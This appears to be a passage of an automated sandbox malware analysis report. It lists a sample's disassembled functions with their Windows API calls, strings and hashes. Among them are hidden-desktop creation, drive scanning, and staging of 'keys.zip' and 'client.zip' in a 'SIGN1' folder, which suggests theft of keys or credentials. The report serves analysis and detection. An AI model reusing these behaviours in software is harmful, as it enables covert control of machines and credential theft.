                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FreeLibrary
                                                                                                                                                                                                            • String ID: V,@
                                                                                                                                                                                                            • API String ID: 3664257935-3634209070
                                                                                                                                                                                                            • Opcode ID: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
                                                                                                                                                                                                            • Instruction ID: d15e959a12f23ccec2fe85088e2afbb8a6d817ea7d7d5b015e5417604cfff27a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2fd4ca95ddf0f334cf370a94dc23c54eb0d0c4c01a3467e788c39c0190814706
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 12D05E76E027298BCB20CF94A5052AEF730FB44731F0043AADE257338083351C118AD4
                                                                                                                                                                                                            Function 02C95870 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 82COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset
                                                                                                                                                                                                            • String ID: bad pack level
                                                                                                                                                                                                            • API String ID: 2221118986-4081416248
                                                                                                                                                                                                            • Opcode ID: b03a042e19552a90dd51a5fb2fc4d94929bf84e8aa32e981ceed3f8ed88e5d73
                                                                                                                                                                                                            • Instruction ID: 37220f5d33abeed525e7f3057d18b49a3e425549acef86b3ea3ab1fe85dddaf4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b03a042e19552a90dd51a5fb2fc4d94929bf84e8aa32e981ceed3f8ed88e5d73
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F731B7F1A047148ED7219FB9D4842E7B7E6FF46360B40493EE1AE96240D379A182CF53
                                                                                                                                                                                                            Function 02C95B50 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 78COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memcpy.MSVCRT(0001AF70,00022F70,00008000,0001AF70,02C9595C), ref: 02C95B9F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memcpy
                                                                                                                                                                                                            • String ID: more < 2
                                                                                                                                                                                                            • API String ID: 3510742995-2484782096
                                                                                                                                                                                                            • Opcode ID: aa88fe5c378baad28afa086cd2a7c9a55f108c18b7cbbb39190229aadf341f3b
                                                                                                                                                                                                            • Instruction ID: fa29d854ba3d9dbdf17571427a6aaa4b2709e4821e4193a9d7567c5dea0ee287
                                                                                                                                                                                                            • Opcode Fuzzy Hash: aa88fe5c378baad28afa086cd2a7c9a55f108c18b7cbbb39190229aadf341f3b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5E3170F1610E008BDB268BB4C4487E673E6BF8A358F944A3DD06B562D4D738A586CE43
                                                                                                                                                                                                            Function 02C972B0 Relevance: 3.1, APIs: 2, Instructions: 66fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memcpy.MSVCRT(?,?,?,00000000,00000068,?,02C974DE,00000068,00000000,00000000,00000000,00000011), ref: 02C972D6
                                                                                                                                                                                                            • ReadFile.KERNEL32(?,?,00004000,?,00000000,00000000,00000068,?,02C974DE,00000068,00000000,00000000,00000000,00000011), ref: 02C9730C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileReadmemcpy
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1163090680-0
                                                                                                                                                                                                            • Opcode ID: 5e4ab89467c45d4ad976b7c18e4999c846afacf179ef1ccbccb903e84aabe7af
                                                                                                                                                                                                            • Instruction ID: 64d363186c5f4da0c576df7cee4247f317322fc0d375e4a31da46e02b4fe8dde
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5e4ab89467c45d4ad976b7c18e4999c846afacf179ef1ccbccb903e84aabe7af
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B51154B27117045FDB24CA6ADC84A6BF3EDEFD4714B14882DF546C7A40D631E9058B64
                                                                                                                                                                                                            Function 02C76A10 Relevance: 3.0, APIs: 2, Instructions: 9fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(00000000,00000000,02C879AD,82c31d1a,?,?,?,?,?,?), ref: 02C76A18
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?), ref: 02C76A1F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$AttributesDelete
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2910425767-0
                                                                                                                                                                                                            • Opcode ID: b154332f1c2d15c013d7aa7e7efa14e764507d518ea450a32ec213f8197d7345
                                                                                                                                                                                                            • Instruction ID: 7a1a6bb6f11a735d8f4cbb4645dc26e15627a8d3f55c6b75cf830b046884ff24
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b154332f1c2d15c013d7aa7e7efa14e764507d518ea450a32ec213f8197d7345
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A3B092B1DD2CA26B8F135720590CAAEAA1CEE85B017058A84F901D2001DB288A5186A6
                                                                                                                                                                                                            Function 02C96FA0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID:
                                                                                                                                                                                                            • Opcode ID: e255b7937325390c97710c5a88782090207b2db64f4130e14b0bf41065bb860b
                                                                                                                                                                                                            • Instruction ID: c1eb1f6e78f9b7a99b1c8aff115ea89d7a60a05768da011316e2f5c980c18fb3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e255b7937325390c97710c5a88782090207b2db64f4130e14b0bf41065bb860b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AFF01CB4500200AEEF59CF21C65DF597BE4AB85399F59D0C9E0084F6A2CB39C549DF50
                                                                                                                                                                                                            Function 02C766A0 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000001,00000001,00000000), ref: 02C766B7
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3934441357-0
                                                                                                                                                                                                            • Opcode ID: f6c50e1ed5c748e22e93158715b2fcabc35f4e39c71c32a3502fd0c458ac892d
                                                                                                                                                                                                            • Instruction ID: d065e3cc96c4392a53a23273d8844df094d0d0f752270670f2b669e4876b59ef
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f6c50e1ed5c748e22e93158715b2fcabc35f4e39c71c32a3502fd0c458ac892d
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D4D0C9B595410CBFE740CB84DD0AFAAB7ECD748701F004299BA08C3240E6B16E109BB6
                                                                                                                                                                                                            Function 02C764B0 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000080,00000000,02C8CCE2), ref: 02C764C3
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CreateFile
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 823142352-0
                                                                                                                                                                                                            • Opcode ID: d00bf9e2fbff7ed5a6330fb3206c15512381745d3f5a3d9aa4289cf275ea44a3
                                                                                                                                                                                                            • Instruction ID: 0b7ddcf59c93360b0cbdda4d1ebac2838fe4f6a439e6803e9729be378b494429
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d00bf9e2fbff7ed5a6330fb3206c15512381745d3f5a3d9aa4289cf275ea44a3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F0B001B0FC078176FD725661AF1FF0565286740F05F618A80B389BE0C289E47614862E

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 02C7C380 Relevance: 103.7, APIs: 55, Strings: 4, Instructions: 429windowsynchronizationmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindowLongA.USER32(?,000000F0), ref: 02C7C3DF
                                                                                                                                                                                                            • SetWindowLongA.USER32(?,000000F0,00000000), ref: 02C7C3EA
                                                                                                                                                                                                            • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02C7C3FD
                                                                                                                                                                                                            • GetDlgItem.USER32(?,?), ref: 02C7C412
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000EB), ref: 02C7C421
                                                                                                                                                                                                            • SetWindowTextA.USER32(?,-00000008), ref: 02C7C42D
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02C7C43C
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 02C7C447
                                                                                                                                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02C7C45A
                                                                                                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 02C7C498
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02C7C4A8
                                                                                                                                                                                                            • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02C7C4B7
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 02C7C4CF
                                                                                                                                                                                                            • GetObjectA.GDI32(00000000,0000003C,?), ref: 02C7C4D9
                                                                                                                                                                                                            • CreateFontIndirectA.GDI32 ref: 02C7C4EF
                                                                                                                                                                                                            • SendMessageA.USER32(?,00000030,00000000,00000000), ref: 02C7C4FF
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02C7C537
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02C7C53A
                                                                                                                                                                                                            • GetWindowInfo.USER32(00000000,?), ref: 02C7C54E
                                                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 02C7C5B3
                                                                                                                                                                                                            • SetWindowPos.USER32(?,00000000,?,?,00000116,?,00000200), ref: 02C7C5DD
                                                                                                                                                                                                            • GetClientRect.USER32(?,?), ref: 02C7C5E9
                                                                                                                                                                                                            • MoveWindow.USER32(?,00000009,00000014,000000FC,00000014,00000001), ref: 02C7C605
                                                                                                                                                                                                            • CreateWindowExA.USER32(00000000,static,00000000,50000003,?,0000000A,00000023,00000027,?,00000000,00000000,00000000), ref: 02C7C62A
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000F4,?), ref: 02C7C63C
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02C7C645
                                                                                                                                                                                                            • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02C7C654
                                                                                                                                                                                                            • GetWindowTextLengthA.USER32(00000000), ref: 02C7C65B
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,00000008,0000000C), ref: 02C7C66F
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000EB,00000000), ref: 02C7C693
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,0000007F,00000001,00000000), ref: 02C7C6A0
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 02C7C6B0
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000DE), ref: 02C7C6CC
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000F2), ref: 02C7C6D5
                                                                                                                                                                                                            • LoadIconA.USER32(00000000,00007F00), ref: 02C7C6E1
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,00000172,00000001,00000000), ref: 02C7C6FB
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02C7C724
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000F0,00000000), ref: 02C7C733
                                                                                                                                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000027), ref: 02C7C746
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02C7C769
                                                                                                                                                                                                            • IsIconic.USER32(?), ref: 02C7C787
                                                                                                                                                                                                            • ShowWindow.USER32(?,00000001), ref: 02C7C794
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7C7A3
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7C7BB
                                                                                                                                                                                                              • Part of subcall function 02C7C330: GetWindowThreadProcessId.USER32(?,00000000), ref: 02C7C33C
                                                                                                                                                                                                              • Part of subcall function 02C7C330: GetCurrentThreadId.KERNEL32 ref: 02C7C344
                                                                                                                                                                                                              • Part of subcall function 02C7C330: AttachThreadInput.USER32(00000000,00000000,00000001), ref: 02C7C350
                                                                                                                                                                                                              • Part of subcall function 02C7C330: SendMessageA.USER32(?,0000000D,?,?), ref: 02C7C361
                                                                                                                                                                                                              • Part of subcall function 02C7C330: AttachThreadInput.USER32(00000000,00000000,00000000), ref: 02C7C36D
                                                                                                                                                                                                            • PostMessageA.USER32(?,00000010,00000000,00000000), ref: 02C7C7C8
                                                                                                                                                                                                            • GetDlgItem.USER32(?,?), ref: 02C7C837
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000), ref: 02C7C83E
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C7C84E
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C7C868
                                                                                                                                                                                                            • GetDlgItem.USER32(?,00000000), ref: 02C7C87D
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000EB), ref: 02C7C88C
                                                                                                                                                                                                            • DeleteObject.GDI32(?), ref: 02C7C898
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C7C8A7
                                                                                                                                                                                                            • DestroyWindow.USER32(00000000), ref: 02C7C8AE
                                                                                                                                                                                                            • EndDialog.USER32(?,00000000), ref: 02C7C8C3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Long$ClassMessage$SendThread$ItemObject$AttachCreateHeapInputMutexProcessRectReleaseSingleTextWait$AllocClientCurrentDeleteDestroyDialogFontFreeIconIconicIndirectInfoLengthLoadMovePostShow
                                                                                                                                                                                                            • String ID: '$<$P0#v$static
                                                                                                                                                                                                            • API String ID: 2592195760-1574280343
                                                                                                                                                                                                            • Opcode ID: ef69f0a1398285c23b71343fc943ffede84846a0e686b3e3f8ebdbed849b94b7
                                                                                                                                                                                                            • Instruction ID: fd7e9198ded1431252ecc94c8436da75a98c5ce6b82cbdab1c8a503a73804f3d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ef69f0a1398285c23b71343fc943ffede84846a0e686b3e3f8ebdbed849b94b7
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FDE19E71A84341AFD3128F64EC88F6A7BA8FB88725F104F19F51AD72C0CB749A51CB61
                                                                                                                                                                                                            Function 02C786C0 Relevance: 66.8, APIs: 32, Strings: 6, Instructions: 260threadsleepprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateDesktopA.USER32 ref: 02C78711
                                                                                                                                                                                                            • SetThreadDesktop.USER32(00000000), ref: 02C7872A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C78738
                                                                                                                                                                                                            • CreateProcessA.KERNEL32 ref: 02C7877C
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02C78788
                                                                                                                                                                                                            • Sleep.KERNEL32(0000000A), ref: 02C787A2
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02C787A4
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C787D3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C787E1
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C787FB
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C78809
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02C7880F
                                                                                                                                                                                                            • FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 02C78820
                                                                                                                                                                                                            • RegisterWindowMessageA.USER32(7d2de3ada), ref: 02C78848
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000083D0,00000000,00000000,00000000), ref: 02C7885D
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?), ref: 02C788A7
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C788B8
                                                                                                                                                                                                            • CreateProcessA.KERNEL32 ref: 02C78905
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02C78911
                                                                                                                                                                                                            • Sleep.KERNEL32(0000000A), ref: 02C78924
                                                                                                                                                                                                            • GetShellWindow.USER32 ref: 02C78926
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(?,?), ref: 02C78955
                                                                                                                                                                                                            • CloseHandle.KERNEL32(?), ref: 02C78963
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C7897D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C7898B
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02C78991
                                                                                                                                                                                                            • FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 02C789A2
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,Function_000083D0,00000000,00000000,00000000), ref: 02C789CF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Handle$CreateDesktop$CloseInformationShellThread$FindProcessSleepmemset$MessageRegister
                                                                                                                                                                                                            • String ID: 7d2de3ada$D$D$Shell_TrayWnd$c:\windows$c:\windows\explorer.exe
                                                                                                                                                                                                            • API String ID: 340731545-4072454236
                                                                                                                                                                                                            • Opcode ID: 6dd0f8fbc857005d8b0945f724dcaca625a5c1f17fb0552f53a02aafc3d7cc02
                                                                                                                                                                                                            • Instruction ID: 44ee53593746ed547ee0629c9a9b28ec431908d50eb276aea1e373b7e83b79d8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 6dd0f8fbc857005d8b0945f724dcaca625a5c1f17fb0552f53a02aafc3d7cc02
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 029148B1988350AFD312DF65D848B5BBBE8EF88754F108F5AF64983240DB748515CFA2
                                                                                                                                                                                                            Function 02C911C0 Relevance: 63.4, APIs: 27, Strings: 9, Instructions: 376COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C911DE
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C911F8
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02C91222
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31CB5), ref: 02C91247
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02C91287
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C91291
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C91299
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02C912AA
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C912B1
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(00000000), ref: 02C912F4
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(00000000), ref: 02C91340
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C31CB5,00000000,00000000), ref: 02C91387
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorFileLastmemset$AdminAttributesCreateCurrentFolderMakeModuleNameSystemUser
                                                                                                                                                                                                            • String ID: 82C31CB5$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$P0#v$\$\SIGN1\$client.zip$keys.zip$path_client.txt$path_keys.txt
                                                                                                                                                                                                            • API String ID: 1576442920-4244652874
                                                                                                                                                                                                            • Opcode ID: 082f09d6388cbf58c96b8d781d757390221bba64b3a40321ac2578f470d1a12b
                                                                                                                                                                                                            • Instruction ID: 6cf4f9e84f40e98a3ba9a695ee025706ec90e138cbbabd429458fd5191a74a5b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 082f09d6388cbf58c96b8d781d757390221bba64b3a40321ac2578f470d1a12b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C6D129309442968FDF168F24D85DBE67BE9EF85304F1886D4E88DD7241DBB1DA48CB90
                                                                                                                                                                                                            Function 02C8BB20 Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 345fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8BB47
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8BB69
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C8BB88
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 02C8BBA1
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?), ref: 02C8BBF5
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8BC04
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(?,?), ref: 02C8BC51
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8BC6A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,found.), ref: 02C8BC81
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,asus), ref: 02C8BC98
                                                                                                                                                                                                            • FindNextFileA.KERNEL32(00000000,?), ref: 02C8BCAF
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8BCE4
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8BD1E
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8BD28
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8BD30
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8BD3F
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8BD46
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02C8BF52
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
